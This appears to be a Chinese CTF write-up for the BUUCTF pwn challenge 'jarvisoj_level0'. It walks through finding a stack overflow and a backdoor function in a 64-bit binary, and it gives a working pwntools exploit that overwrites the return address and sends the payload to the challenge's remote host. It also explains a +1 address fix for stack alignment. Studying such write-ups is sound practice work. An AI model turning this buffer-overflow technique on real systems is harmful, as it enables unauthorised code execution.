BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
周某人姓周16 分钟前
sql报错注入常见7个函数
sql·安全·web安全·网络安全
是逍遥子没错26 分钟前
OA渗透测试的思维盲区:从漏洞猎人到系统拆解师
web安全·网络安全·黑客·渗透测试·系统安全·oa系统·src挖掘
大方子1 小时前
【PolarCTF】浮生日记
网络安全·polarctf
世界尽头与你1 小时前
Flask开启Debug模式
后端·网络安全·渗透测试·flask
Whoami!2 小时前
⓫⁄₄ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 搜索Windows的敏感信息
windows·网络安全·信息安全·信息收集
是逍遥子没错2 小时前
关于国内通用OA的渗透测试思路-仅供测试切勿违法使用
安全·web安全·网络安全·渗透测试·系统安全·漏洞挖掘
学习中的DGR12 小时前
[GXYCTF2019]Ping Ping Ping 1和[SUCTF 2019]EasySQL 1新手解题过程
sql·安全·web安全·网络安全·php
半路_出家ren17 小时前
1.古典密码概述
python·网络安全·密码学·古典密码·加密方式
cws20040118 小时前
MFA双因素用户使用手册
运维·windows·网络安全·github·邮件·邮箱
天荒地老笑话么20 小时前
为什么访问 http://example.com 和 https://example.com 安全性不同(明文 vs 加密)
网络安全